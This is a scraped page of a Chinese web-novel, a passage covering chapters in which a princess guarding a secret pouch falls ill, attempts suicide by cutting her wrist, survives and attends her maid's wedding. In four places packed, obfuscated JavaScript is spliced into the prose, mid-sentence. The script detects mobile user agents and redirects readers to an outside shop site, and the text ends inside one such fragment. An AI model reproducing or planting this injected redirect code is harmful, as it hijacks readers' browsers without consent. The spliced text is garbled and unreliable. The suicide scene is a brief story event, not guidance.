“在王府时,公主出入自由,可现在,公主不是去佛堂就是在屋里,就像……就像笼子里的鸟一样,连个朋友都没有。” 叶皓也注意到了这一点,他知道暖暖虽不是个爱热闹的人,但如此牢笼般的生活对她来说也是禁锢,于是他回去后下了一道圣职:召师英玉回京。 下毒事件似乎并没有对暖暖造成影响,她的日子照旧。 倒是舒雁很自责,怪自己偏偏选在那一日出宫去。 但冰绡却指出,文瑶就是挑在她出宫的日子才下的毒,并点评了文瑶下毒的手法及善后之事都处理得很拙劣。 文瑶自然没有被处死。 她被关起来后,叶皓立即暗中派人去给文家通风报,文辉夫妻听闻此事,抱头痛哭。 文辉恨不得将这不肖之妹在宗族中除名,奈何他的夫人一再苦求,他不得已想了个办法:自请携家眷调任东南闽中,教化蛮夷,为舍妹将功赎罪。 东南闽中,自古南夷所占,虽归降梁朝,终是不与之同心,眼下新帝临朝,急需宣扬国威、教化四夷。 此事艰难且长久,叶皓正愁派谁前去,文辉此举正中他的下怀,当然他也知道文辉正是看到了这一点,才有如此请求。 一切都顺理成章,前朝后宫之事皆大欢喜。 舒雁将这些事说给公主听时,她并不感兴趣,锦囊已化作五指山,重重压在她的背上、压在她的心里。 如果没有意外,她想她会与这块“石头”共度余生。 渐渐地,她也察觉出似乎出来一些问题,她派去看守锦囊的侍女阿昭,似乎与外人有了交流。 她将阿昭藏得很好,没有人知道阿昭的存在,但现在阿昭似乎暴露了,她觉得她需要和阿昭再重申一下她们之间的约定。 一日午时,暖暖支走了一众侍女,召唤出阿昭,严厉地对她说道:“为什么要和别人说话。” 一个沙哑的女子声音:“舒雁同我说话我不能不回应,如果不回应,她才会觉得异常。” “这件事有没有别人知道?” 沙哑声:“没有,我每日进佛堂时佛堂里都没有人。” 暖暖还是有怀疑:“确定安全?” 沙哑声:“放心,十分安全,可是长此以往也不是办法,公主到底是怎样打算的?” 暖暖沉默了一下,有些怅然地说道:“也许我会将它带到坟墓里。” 沙哑声:“可还有几十年的时间,难道要在这里守一辈子?” “……也许吧。” 沙哑声:“就没有别的办法?比如,毁了它。” “你怎么会这样想,我从来没有想过毁掉它,先帝让我收好它,我就要收好。” 沙哑声:“自欺欺人,先帝让你必要的时候拿出来,你为什不拿出来?” 暖暖有些激动:“必要的时候……什么是必要的时候?没有必要的时候!!” 此时,门被撞开。 暖暖惊得大叫一声“快走。”然后起身,逆着光看见了冰绡的身影,她呵斥道:“出去,谁让你进来的?” 冰绡并未听她的令,而是快速将整个屋子搜寻了一遍。 暖暖气得浑身战栗,吼道:“你在干什么,出去!出去!快出去!”说完将手边的茶盏砸了过去,茶盏砸到了刚进来的叶皓腿上,又掉在地上摔了个粉碎。 叶皓忍着痛站在原地,愤怒地问道:“暖暖!你这是做什么?你在跟谁说话?” 暖暖似乎没有听到,将手边上的东西全部砸过去。 冰绡在叶皓身前将物品一一挡下,外面的中官和侍卫听见动静,纷纷进入将叶皓围了起来,但见对方是公主,无人敢上前制止。 暖暖看人越来越多,心中的愤怒已不能控制,但手边已没有东西,她看向四周寻找一切可以当武器的东西。 东西没有找到却被冰绡寻到了空档,上前制住了她,用帕子捂住了他的口鼻。 暖暖立即感觉到,一股冰冷飘逸的味道涌入鼻腔,挣扎了几下后,便全身瘫软下来。 她手脚不能动弹,但意识是清醒的,她甚至能感觉她的灵魂想要冲出这具躯体,去看一看佛堂的锦囊,可她一点也动不了,只能睁着眼睛无助地看着周围对一切。 她看着自己被抬到床上,看见众人退了出去,看见叶皓与冰绡交换了一个眼色,听见叶皓问道:“刚才是在和另一个自己说话吗?” 她一点也动不了,甚至一个表情也做不了,眼中满是焦急:他们发现了阿昭。 叶皓与冰绡确认了她这病的确是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“姐姐……”暖暖叫了她一声。 见她能说话了,夏萱急忙伏到她床边,关切地说道:“姐姐在,怎么样?” 良久,暖暖才回答:“我没事……你们知道了什么?” 夏萱屏退了侍女后才说道:“医官说你是郁证,还有离魂之症。。” “这些都是什么病?” “我也不太明白,说是情志不舒、气机郁滞所致,暖暖,以前都种种皆成过往,不要再郁结于心,咱们重新开始,好吗?” “没有其它的了?” “陛下已经派人去寻访名医了,我们慢慢会治好的。” “真的没了?” “没有了,不要乱想,相信姐姐,姐姐一定会找人医好你的病。”夏萱说完忍不住抽泣起来。 看来他们真的是没有发现佛堂的秘密,暖暖松了一口气,嗫喏道:“不用我已经好了。” “什么?”夏萱不理解这句话的意思。 暖暖笑道:“姐姐,我没有病……我现在很好。” 她这笑容让夏萱心中不安,忙改口道:“是,是……这些都是虚症,不是病,可想吃些什么?” “蛋羹。”暖暖不加思索地脱口而出,她也不知道为什么,只是脑中突然出现了这两个字。 “好,好,想吃东西便是好的。”夏萱立即遣人去做蛋羹。 此后,夏萱命人在金华殿设了小厨房,并日日在金华殿陪着她。 暖暖想不出如何保护锦囊,于是找了两把锁,将佛堂锁了起来,钥匙随身收藏。 99. 辞世了浮生 夏萱看着暖暖每日只是呆呆望着窗外,便给她找些事情做打发时间,让她在给孩子新做的睡衣上绣一些花样,怎料她的手一拿起针便抖个不停,怎么也控制不住。 夏萱知道,这大约就是医官所说的“郁症”,宫中的医官大约已经想尽了办法,现在只盼着叶皓派出去的人能找到医治的办法。 现在,她能做的只能是多宽慰暖暖。 对于暖暖来说,日子过得如一潭死水,她甚至都能闻到腐烂的味道。 西南前线的战事越来越紧张,杜家老巢被攻陷后,杜卫携了一支军队逃向益州郡。 益州郡表面上是梁国辖地,实则由地方豪族,雍闿后人雍充掌控,雍充接纳杜卫残军进入后,严把关口,将朝廷大军拒之门外。 江源的军队在益州郡外驻扎了一个月,没有任何实质上的进展。 仗打到此时,朝廷便有人以伤亡惨重、军费紧张、穷寇莫追等理由提出招降安抚的异议,后来甚至叶均也开始思考是否要与益州议和。 可叶皓却顶着重重压力,坚持攻打益州,趁此时杜卫军队溃败、士气低落,与雍充尚未达成同盟之时斩草除根,不留后患。 战争艰难且残酷,但是,叶皓的选择是正确的,大军最终攻入益州,斩杀了杜卫、治了雍充之罪,收回了益州郡的管理权。 胜利的消息是在大雪这日传到京中的,龙颜大悦、举国欢庆、大赦天下。 暖暖听到这个消息时,心中松了半口气:节气竟然已经到了大雪,这仗竟打了半年了,四哥哥的仇算是报了吧。 战争胜利了,战后的事情还有很多,论功行赏、安抚军队、接收益州,叶皓与叶均依然忙碌。 期间祁国要求出使梁国的文牒又来了三次,均被叶皓拒绝了。 临近年关,军队还朝,叶皓于前朝设宴款待众朝臣将领,随同亲眷皆入宫问安,在后苑另设宴席。 这样人多的宴席,暖暖不想参加,夏萱为她讲了一番道理,只说:“这样于礼不合,家里来客人主人岂有不到场之理?陛下中宫空虚,无人主持,你便要拿出一国公主的姿态来,不要让外臣轻视了。” 暖暖也深知这个道理,断然没有再拒绝的理由。 宫宴设在了腊月初八,一早起来梳妆更衣,她已经很久没这样好好装扮过自己了。 夏萱看了十分满意:这才是公主的样子,并叮嘱她今日一定要打起精神来。 暖暖坐着步撵来到后苑,后苑中已经来的不少朝臣的家眷,见到她都纷纷行礼问安,虽然她一个也不认识,却都笑着回应。 往熟悉的地方走去,却发现佛堂和经堂已被改为暖室花房,专门培育花卉。 看着花房内对姹紫嫣红,但它们却开得不合节气,她突然很想念那段抄写经文的日子,怀念那种安静到世界只剩下自己的感觉。她问宫人经书都哪里去了,才知佛像被请到了金华殿,经堂搬进了藏书阁,她心下感慨:真是要遗世独立了。 她于花丛间漫步,最后在一盆茉莉前停了下来,这茉莉的味道真是好闻。 “奴婢问公主安。” 身后传来一女子的声音,她回头只见一妇人装扮的女子,身着半新的素色衣裙,跪地俯身,泪水滴在木质的地板上,碎成一朵朵透明的花儿。 莫不是她有什么难处?暖暖心中好生疑惑,但见她的穿着,猜测是朝臣家眷,于是客气地问道:“免礼,本宫常年居住宫禁内,不知你是哪家夫人?” 那女子却抬起头,泪眼婆娑的目光中带着一丝难以置信,膝行两步上前,拉住她的裙摆:“公主,公主不认得奴婢了吗?奴婢是云琴呀。” 暖暖心中反复默念“云琴”二字,却想不起是何人,她示意舒雁先将她扶起。 舒雁原本看她眼熟,此刻也想起了她以前曾到信王府看过公主,想必是以前服侍公主的旧人。于是上前扶起云琴,说道:“夫人先请起,这里人多,请夫人同奴婢到外面说话。”说完便带着云琴出去了,后面一个抱着孩子的侍女也跟着一起出去。 暖暖已见怪,也不多想,继续裳那茉莉花,不多时,只听见外面喊到:陛下到。 众人皆出来花房去见驾,暖暖也随着众人出去叩首问安。 叶皓身后跟着一众臣子,他说了几句套话后便让众人各自去玩赏了。 暖暖走到叶皓身边小声调侃道:“今日陛下倒是气色不错。” “打了胜仗,当然高兴,倒是你,今日能出来真是难得。”叶皓说完上下打量了她一眼:“倒是精神了不少。” “我倒是没觉得,一切都是老样子。” “上次来给你瞧病的郎中开的药,喝了吗?感觉怎么样?” “还说呢,那药喝一碗吐两碗,如此折腾,病治不好寿命倒是先减了几年。你也别费心找什么江湖偏方了,我这也不算是病,就这样不知前尘的生活也挺好。” “这样就好了?手还抖吗?” 暖暖未语,只是点点头。 “难道要一直这样下去?” 暖暖依旧是沉默,是啊,她的身体的确出现了问题,头痛和手抖的病症查不出任何病因,医药针石均无效。但比起不停地看郎中喝药,她宁愿就这样了。 这时,江源上前来给暖暖行礼问安。 暖暖也不认得他,只当是外臣,便退后一步半隐在叶皓身后。 叶皓解释道:“这是江源,你们以前认识。” 刚才他已将情况告知于江源,故而江源未有惊讶。 只是暖暖局促地笑着点头示意。 一声“爹爹”,打破了尴尬的氛围,循声望去,一个粉雕玉琢的小姑娘朝江源跑来,拉着他的衣角,带着些委屈说道:“爹爹,爹爹,娘亲不让我吃糕糕,爹爹抱……” 江源一把抱起小姑娘,摸摸她圆鼓鼓的小肚子说道:“你娘亲是怕你撑坏了肚皮。” 身后云琴快步赶来,见到这一幕,赶紧跪下请罪:“是奴婢没有看好孩子,惊扰了陛下。” “无妨,起来吧。” 这时,孩子转过脸,叶皓瞬间呆住,这孩子竟与秦羽长了一双一模一样的眼睛,他惊讶地问道:“这孩子……” 江源快速接话:“是臣的孩子。”说完对叶皓点了一下头。 叶皓也瞬间明白了,心中有些欣慰,想伸手去抱孩子,可孩子有些怯生,紧紧地搂着江源的脖子不松手。 他说道:“告诉伯伯你叫什么名字?伯伯有赏。” 孩子怯生生地说道:“慕云……” “慕云,好名字。”叶皓说着摘下腰间的玉佩交到了她手中。 云琴立即跪下谢恩:“谢陛下,只怕这礼物太贵重了,这孩子承受不起。” “朕给的,便是福气。” 云琴不敢再推辞,谢恩后接过孩子,说道:“奴婢不打扰陛下了,先退下了。” 叶皓看着孩子,心中依然无限感慨。江源说道:“孩子乳名江慕云,在户籍上的名字是秦念,等以后她大些,臣会将实情告知于她。” 叶皓看着孩子,喃喃地说道:“江兄,我替秦羽谢谢你。” 江源闻言立刻跪拜:“陛下此言,臣惶恐不安,抚养妻女,是臣之责。” “起来吧……”看着他这般恭敬,叶皓心下凄然,拍了拍他的肩膀,朝后苑外走去, 暖暖快步跟上叶皓,问道:“这是怎么一出?” 叶皓没有回答,只是回首看向后苑内一片祥和,感慨道:“真没想到,秦羽会有孩子,若他还在,该有多高兴。孤家寡人,孤家寡人原来就是这个意思,暖暖,你能明白吗……你不明白,你们都不明白。” 他说完继续向前走去,后面的一众侍从快步跟上。 暖暖看着一群人渐行渐远,她能感受到叶皓的孤独,这是真正的孤独,身处一群人之中,他却永远只是一个人。 她没了兴致,回到寝殿,一模胸前,才发现钥匙不见了,心中猛然一惊,脸色瞬间变白,双腿忍不住颤抖起来。 立即命所有人立即停下手中的活,都来找钥匙,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414391|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番仔细地翻找,终于在衣架的下面找到了钥匙,原来是刚才更衣的时候不小心掉了。 她拿着钥匙坐在镜子前,看着镜中焦虑的自己,回想刚才如疯子般的举动,叹了口气:我为什么会变成这样,千因万由皆在锦囊,这样的日子多久是个头,也许,是时候结束这一切了。 没有犹豫,她叫来画眉,看着画眉眼角眉梢里尽是幸福的模样,她也感到很是欣慰,拉起画眉的手,说道:“原本早就该放你回去的,是我这身子不济,拖累你到了现在。” “公主这样说真是折煞奴婢了,能遇到公主这样的主子,是奴婢三生有幸。”画眉这话是实打实的心里话。 若是在别的家里,她这样的丫头,以后不是小姐的陪嫁就是公子的通房,最好的结局不过是配个小厮。如今,机缘巧合地能嫁给一个颇有前途的少将军,的确是前世修来的福气了。 “你服侍我一场,便是缘分,如今婚期将至,回家待嫁吧。” “公主……奴婢舍不得公主。”画眉一阵心酸,眼角滴泪,跪拜在地。 舒雁亦是红了眼眶。 暖暖拿起一个盒子,继续说道:“这是京郊五十亩水田的地契和一千两银子,算是我给你添的嫁妆。” 画眉接过盒子,行了叩拜大礼:“奴婢多谢公主大恩,愿公主福寿绵延、安康顺遂。” “去吧。”暖暖说完给了舒雁一个眼色。 舒雁上前扶起画眉,劝慰道:“这是喜事,是高兴的事,不许哭了。”说完带着画眉下去了。 暖暖心中虽有感慨,却不十分难过,她看着一脸淡然的冰绡,问道:“冰绡,这样的别离,你可伤心?” “有什么可伤心的,属下在侍卫营中日日能见到生离死别,有时候自身难保,哪里有功夫伤心。” “你可曾想过以后。” “侍卫营侍卫,非死不得出。”冰绡的语气更加冰冰冷冷。 “非死不得出……”暖暖重复了一句,心中打定了主意。 日暮,宫门关闭之前,画眉来辞行,暖暖将她送到了金华殿门口,舒雁又将她送到了梁宫门口。 当日夜里,暖暖在书案前坐了一夜,天色将明时,她忍着手抖,提笔写了封信。 “四哥,见字如面。 所送盒子中有一锦囊。 锦囊里有个折磨我许久的东西,我想我的郁症和离魂症皆源于此,我已承受不住,盒子就交给你处理了。 我既已决定离开,有几件事情放心不下。其一,舒雁一直想出宫去,请允许她离开这里。其二是冰绡,她的籍契在侍卫营,听说侍卫营的人非死不得出,还请特赦冰绡,还其自由。 我于此世,不知来处,未想去处,留在此时便是最好的选择。 就此拜别。 叶青,于金华殿。” 信不长,但她写了很久,手抖得厉害,最后几个字,勉强能认得出来 此时,外面已有扫洒的声音。 她打开门,告诉舒雁准备热水沐浴。 舒雁诧异,劝道:“晨起寒凉,待午后暖起来再沐浴也不迟。” 暖暖找了个借口:“一会我要去礼佛你只管去准备。” 沐浴毕,她坐在镜前梳妆,假装不注意摔断了一根玉簪,又命舒雁将玉簪送去司宝处去修。 舒雁走后,她换上了一身吉服,独自来到佛堂,打开沉重的锁头,太阳光线一下子照射进殿内,空气中的尘埃在阳光中欢呼雀跃,似乎是在庆祝重获自由。 她点了三炷香,在佛前三叩首,将佛像下面的盒子藏到衣袖里走出佛堂,随后命人拆掉佛堂门上的锁头并清扫大殿,又命冰绡将信与盒子送去叶皓处。 冰绡不识字,不会知道里面的内容。 现在她身边已经没有人了,她将寝殿的门从里面锁上,摔破了茶盏,捡起瓷片,毫不犹豫地在左腕上划了下去。 鲜血瞬间涌出,她感觉不到疼痛,对这个人世间,她已毫无留恋。 从此以后,她解脱了。 100. 新生绝境处 柔和的烛光,带着一种安静的力量默默地将四周照亮。 昏黄的光影,让周围的一切晦暗不明,暖暖看着旁边坐着的黑影,问道:“这里是森罗殿吗?你是接引我入轮回的吗?” “我是你哥!”叶皓的声音极冷,让人不寒而栗。 “我哥?”暖暖有些迷茫。 叶皓起身点燃了更多的蜡烛,周围亮了起来,暖暖这才看清他阴沉的脸。 这样的表情让暖暖有些害怕:“我……还活着?” “我打开信便发现不对,立即往你这里赶来,冰绡从屋顶过来的,我赶到的时候,她已经给你止了血。你还真是心思缜密,将身边的人都支开了。” “锦囊……你看了?” “看了,为什么不早告诉我?” 暖暖没有回答,只说了声:“对不起……” “你既然这样做了,就要不要后悔,当初做决定的时候就应该想到如何收场。” “我没有后悔,我就是不知道如何收场,所以才如此。” 叶皓蹙着眉叹了口气:“你一走了之,有没有想过我该怎么办?你将我推到这个位置,却将问题都丢给我一个人。” 这令暖暖觉得自家是一意孤行,她小心问道:“此事,你打算怎么办?” “如此欺天之事你打算让我怎么办?” 暖暖沉默了一会儿后说道:“你想怎么办就怎么办……” “说得轻巧,你有没有想过后果?我现在有两条路可以走。第一:杀了你,毁了锦囊,天下太平;第二:将锦囊公之于众,你因矫诏罪被凌迟,我因谋逆罪被分尸。届时朝政动荡、天下大乱。” 暖暖冷静地听着,周身有些发冷,她只想把这块石头丢掉,从未想过会有什么样的后果,如今她是全天下的罪人。 她抬手想拉叶皓的衣角,但是手抬到一半就没有了力气,泪水在眼眶里打转,悲哀地叫了一声:“哥……” 叶皓接着说道:“作为君王,我只能选第一条路。” 暖暖却不怕,她本来就该在今日结束生命:“杀了我吧!” 叶皓有愠色,严肃地说道:“你以为我在吓唬你吗?我先是君王,然后才是你的哥哥。于朝政、于天下来说,杀了你,是最好的选择。” 继而叶皓又长长地舒了一口气:“我如果想杀了你,刚才就不会来救你,手足相残,我做不到。我曾答应过他保护好你,可是没有做到……” “锦囊我已经烧了,记住,从来没有过这件事,从今以后,就像忘记其它事一样,忘记这件事,只当好公主。”说罢,叶皓起身而去。 哥哥……不,他是帝王,不是哥哥了……暖暖只觉得心中酸涩无比,心痛到无法呼吸,她呆呆地看着床幔,眼角的泪水不断滑落。 叶皓走后,夏萱带着一众侍女进来,她端着药碗,试了试温度,一点点喂给暖暖:“这是补血的药,喝完就好了,真是把我们都吓坏了。暖暖,你到底有什么想不开的,偏偏要这样折磨自己。” 暖暖从喉咙里哽咽出几个字:“以后不会了。” “陛下似乎很生气,是在生你的气?” 暖暖点点头,还是流泪。 “唉!你们两个,从小就不让人省心。”夏萱说完这话,自觉有些不妥,于是岔开话题:“陛下已经下旨,说公主府已修缮完毕,让你养好身体就搬过去住。” “公主府?” “对,就是原来的信王府。” 暖暖隐约间有些记忆,她对叶皓说过想要那个宅院。 夏萱继续说道:“搬出去也好,这深宫中幽怨颇多,不适宜养病,等出了正月,我和你三哥哥也要搬出去了。” 暖暖点点头,体力不支,喝完了药觉得十分困倦,便又沉沉地睡去了。 腊月十二,伤口还没有完全愈合,她就搬离了梁宫,本应向叶皓辞行,但她想叶皓未必想见她。 于是她只向淑太妃拜别后,在夏萱的陪同下到了公主府。 公主府里修缮得精致奢华,亭台楼阁、瑶池阆苑皆翻修一新,她依旧选择住在淡云阁里。 夏萱一番忙碌安排,中午陪她吃过午膳,安顿好一切才离开。 公主府外院侍卫众多,里院安排了很多侍女,除了舒雁和冰绡外,没有一个熟悉的面孔。 看着这阵仗,叶皓似乎是要将她软禁起来一般,不过,没有关系,这样安安静静的也不错。 转瞬年关。 这是新帝登基后的第一个新年,为了庆祝西南大捷,梁宫内举办了多几次宴饮,但是没有邀请过暖暖。 夏萱有意无意地在叶皓面前提起她,叶皓总以暖暖身体不适,需静养为由拒绝。 叶均知他们二人起了嫌隙,多次想说和,但看叶皓的态度坚决,也不好再深究。 暖暖这边也不在意,宴会这等要应酬寒暄的事,她是不愿意参加的,她也以养病为由,谢绝了所有来探望的人。 心中没有了那块石头,她恢复得很快,手腕上的伤口愈合的时候,她竟然能拿稳了笔和针。 此后,每日里与舒雁绣绣花,教冰绡写写字,日子过得倒也舒坦自在,她回想这半年多煎熬与折磨,反而觉得自己是作茧自缚了。 正月初六,师英玉的拜帖送达,真是意外之惊喜,她激动得简直要跳起来,师英玉她是记得的,她记得她们一起去饮酒买醉,却不知道二人是如何认识的。 次日一早,她便在大门口等候,见师英玉骑马而来,远远地便向她招手。 师英玉也轻挟了一下马肚,轻快地向她奔来。 二人携手入府,师英玉解下披风交给侍女,说道:“我可是昨日刚到京中就给你送来拜帖。” “战事不是结束了吗,你怎么才回京。” “西南大捷,陛下彻查杜家之事,重新找出我祖父当年的案宗交于大理寺重审,还了我师家清白,为我祖父沉冤昭雪。我伯父与我谢恩后便又赶往徽州祭拜祖父,以慰他老人家在天之灵,在徽州过年了,我才来京中的。” 师英玉依着叶皓的意思,并没有说是叶皓召她回京陪伴暖暖的。 随即命人抬上一个箱子,箱子打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422665|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面竟装了二十个小坛酒。 她拿起一坛打开,继续说道:“这都是我在蜀地搜罗的酒,就盼着回来与你一醉方休,我早就想来看你,只是你那时住在宫中,只是进宫的程序实在繁琐,那时事又多,所以耽搁到了现在,不过这回好了,你住在公主府里,多自在。” 酒香直往暖暖鼻子里钻:“断酒有些时日了,还是姐姐好。” “怎么,他们虐待你?连酒都不给?” “不是,是医官说我这头疾不宜再饮酒了。” “你的头疾,我听说了,听闻益州有苗医秘药,我已经托人去打探了。” “劳姐姐费心了,都医了半年多了,一点好转也没有,不仅仅是头痛,我还忘记了好多人、好些事……” 这些师英玉已从叶皓处知晓,她故作轻松地说道:“不记得就不记得了,记那么人和事多累呀,现在养好身子最重要,你看啊,酒字里面有个酉字,“医”字里面也有个酉字,这就叫医酒不分家,这,酒咱还是要喝的。” “听着像是有道理。” “本来就有道理,在古时候,酒就是药,宫里的医官,也就只给这宫中之人瞧病,只会按图索骥,不知变通,自诩是先圣传人、杏林高手,其实有的不如江湖上的郎中。” 暖暖点点头,觉得更有道理了,接过她手中的酒坛饮了一口,赞道:“好酒。” “蜀地和益州山好水好,所以酿得好酒。” 二人相处了一日,甚是开心,舒雁与画眉看着也是高兴:她们的公主已经很久没有这样开怀过了。 喝了酒,暖暖倒是睡了一夜的安稳觉。 次日一早,她还没有起身,师英玉便到了。 暖暖边梳妆边说道:“玉姐姐,不如你搬来与我同住吧,每日里跑来跑去怪辛苦的。” “也好,后日吧,我府上还有些事需要料理。” 后日一早,师英玉果然拉着两车东西,搬来与她同住。 过年期间的梁京,解除宵禁,晚间热闹非凡,二人总是玩到很晚才回府。 唯一让暖暖不悦的是,身后总要跟着许多侍卫,以至于有些地方不能去。 叶皓与叶均夫妇知晓公主的行迹,甚是担心,但听医官回奏:“公主无大碍,心情愉悦,身体反倒好了许多。 三人也就睁一只眼闭一只眼,随她们去了。 时间如溪水般欢快地流过,转眼到了二月。 二月初七,舒雁向暖暖告假,说明日是画眉成亲的日子。画眉没有姐妹,她要去送当送亲人。 师英玉在一边说:“不如咱们同去看看?” “可我什么也没有准备。在者,只怕人家已经安排好了流程,去了会添乱。” “咱们就去看看,送出门就回。” 舒雁说道:“若公主能去,就已经给了画眉莫大的颜面了。” 师英玉也说道:“就是,不要有那么多顾虑,咱们只管去,这喜事自然是越热闹越好。” 见二人如此说,暖暖便同意了,当晚她命人准备了一柄玉如意权当贺礼。 101. 桃华宜室家 次日一早,天气晴好,三人梳妆装毕准备出发。 暖暖怕阵仗太大抢了新娘子的风头,便命人撤了马车上的装饰,与师英玉、画眉同乘一车,只带了冰绡及四名护卫前去。 画眉家在城南郊,是一处极小的院落,此时院内外已是张灯结彩、唢呐吹奏,宾客满座。 众人见一队车马至,小声议论起来,鼓乐也停了,她们虽去了装饰、减了人数,可在人看来依旧是不小的阵仗。 暖暖覆上面纱下了马车。 门口早已有人通报主家,出来了老少两对夫妻,看面相应是画眉的父母与兄嫂。 舒雁见众人不知情况,恐有无知莽撞之人冲撞到公主,便说了一声:“平阳公主到。” 众人恍然,纷纷跪地叩首:“平阳公主万福金安……” 舒雁的兄长,膝行一步,上前说道:“不知是公主驾临,未能远迎,请公主降罪。” 暖暖在冰绡身后说道:“都起来吧,画眉服侍本宫多年,今日本宫特来送画眉出嫁。” 画眉的嫂嫂见自家男人上前,而后公主的侍女将公主护在身后,便知已然失礼,心中悄悄捏了一把冷汗。 又见公婆又只知跪拜,如哑巴一般,便起身说道:“谢公主,公主屈尊驾临,茅檐草舍,让公主见笑了,公主快院里请。” 说罢引着一行人进到院子里。 院内,触目皆红,暖暖一行人进了院子,两名护卫留在门口侍立,一众人这才起身,个个不敢言语。 她被请到正堂上座,见不复之前热闹,便说道:“本宫是来贺喜的,却不想搅了喜气。” 画眉嫂嫂端着茶赔笑道:“公主这样说真是折煞草民了,大家是见了公主真身如见了佛陀一般,怎敢高声言语。” 舒雁接过茶,并不交于公主,这茶不知过了几道手,她不敢给公主饮用,只说道:“继续奏乐,大喜的日子多热闹热闹,公主看着也高兴。” “是、是……”画眉嫂嫂并未看出舒雁的意思,又端上茶点:“公主请用些果子,我这就叫画眉出来谢公主。” 暖暖不惯这样被人围着,起身说道:“今天是她的大日子,不可坏了成婚的礼仪,本宫去看看她。” 舒雁扶着公主,在众人的簇拥下来到西阁,屋内一众人早已跪地叩拜。 舒雁已梳妆完毕,衣裳还未换,见公主到来,眼角溢出泪来,哽咽着叫了一声:“公主……” 暖暖拿起帕子将她的泪水擦干,又拿起胭脂为她补了妆,说道:“我也是临时起意,便和舒雁一起来了。” “公主能来,是奴婢的福气。” “继续梳妆吧。” 此时外面鼓乐大作,迎亲队伍已到来。 一众人为画眉换了红底金绣的正红色嫁衣,换好后却也不急着出门去,院外催妆的鼓乐响了三次后,有人高喊:“吉时已到,拜别父母。” 暖暖亲手将喜帕盖在画眉的头上,喜帕上中间绣着大朵红牡丹,四角绣着并蒂莲花。 随后两个女傧相扶起画眉去正堂拜别父母。 暖暖看着画眉迈出西阁的那一刻,忽然觉得心很痛,一种莫名的伤心填满胸膛,是一种对亲人的不舍和对未知的恐惧,这大约是与画眉的共情吧。 一对新人叩拜完父母,又来到东阁叩拜公主。 肖云平叩首,真诚真意地说道:“卑职早该叩谢公主殿下之恩,一直不得机会,卑职在此感谢公主成全。” “无需谢本宫,本宫亦愿‘有情人终成眷属’,此如意赠予你们,愿你们称心如意,白头偕老。” 肖云平双手接过:“公主放心,卑职一定好好待画眉,不辜负公主的嘱托。” “去吧,别误了吉时。” 两位新人拜别后,舒雁作为送亲女宾亦向暖暖告辞。 一群人拥着新娘上了花轿,新郎上了马,在鼓乐声中迎亲队伍缓缓离开了。 师英玉则在院子里吃着茶点喝着茶,看着热闹对冰绡说道:“你把剑放一方,也笑一笑,别扫了人家的兴。” 接亲队伍走后,暖暖等人也不好久留,便上了马车离开了,画眉一家在门口目送了许久。 途中暖暖提议去拜三清。 师英玉见她心绪不佳,去散散心也不错,便答应了。 到了三清观,师英玉却不进大殿,暖暖独自进殿拜了三清,她只祝祷“画眉一世顺遂和睦”后便又出来。 师英玉笑她道:“听说你在宫里日日礼佛,出来宫又来拜三清,你到底信什么?” “什么都信,姐姐怎么不进去拜一拜?” “我什么都不信,命只在自己手里和敌人手里。” “这话倒是和我哥……和陛下说的差不多。”暖暖一个恍惚,她与叶皓已很久未见了。 “军旅行伍之人都会这样想。”师英玉岔开话题:“我刚才看了这观中人太多,也无甚意思,不过外面的集市倒是有趣得很,去转转?” 二人并行走过一段路,果然见路两旁摊位林立,今日是黄道吉日,上香的人多,集市上很热闹。 暖暖捧着一块米糕,觉得有些干渴,说道:“我记得这里好像有个馄饨摊来着。” “是那个吗?”师英玉指给她看。 暖暖顺着她指的方向看去,还是哪个馄饨摊,还是那个摊主:“对,对,就是那家。” 摊主正忙着包馄馄饨看锅灶,无暇招呼客人,师英玉与暖暖便随便捡个座位坐下,冰绡与侍卫则隐在周围不远处。 馄饨上来,师英玉吃了一个,烫到了舌头。 暖暖笑道:“你慢些,这可是刚出锅的,烫着呢!” 师英玉放下筷子:“还是在外面好,在家里还吃不上这样滚热的。” 摊主端来腌制的时蔬,搭讪道:“小姐有段时间没来了。” “老板真是好记性,还记得我?” “小人这小摊位,来的都是农户,您这样的高门里姑娘,小人当然记得,上次和小姐一起的那位姑娘怎么没来?” 暖暖未语,师英玉看出缘故,对摊主说道:“再给我来一碗。” “好嘞。”摊主痛快地答应。 师英玉转向暖暖,说道:“又不记得了?” 暖暖拨弄着碗里的馄饨:“我只记得和我哥来过一次。” “你呀,真应该换个地方生活,与其在旧地方日日煎熬,不如重新开始,找个没有人认识你的地方,处处都新鲜。” “可是,我能去哪里?” “天下之大,哪里还不行。” “哥哥和姐姐不会放心让我走的……”暖暖这样说着,可心中却想的是:陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 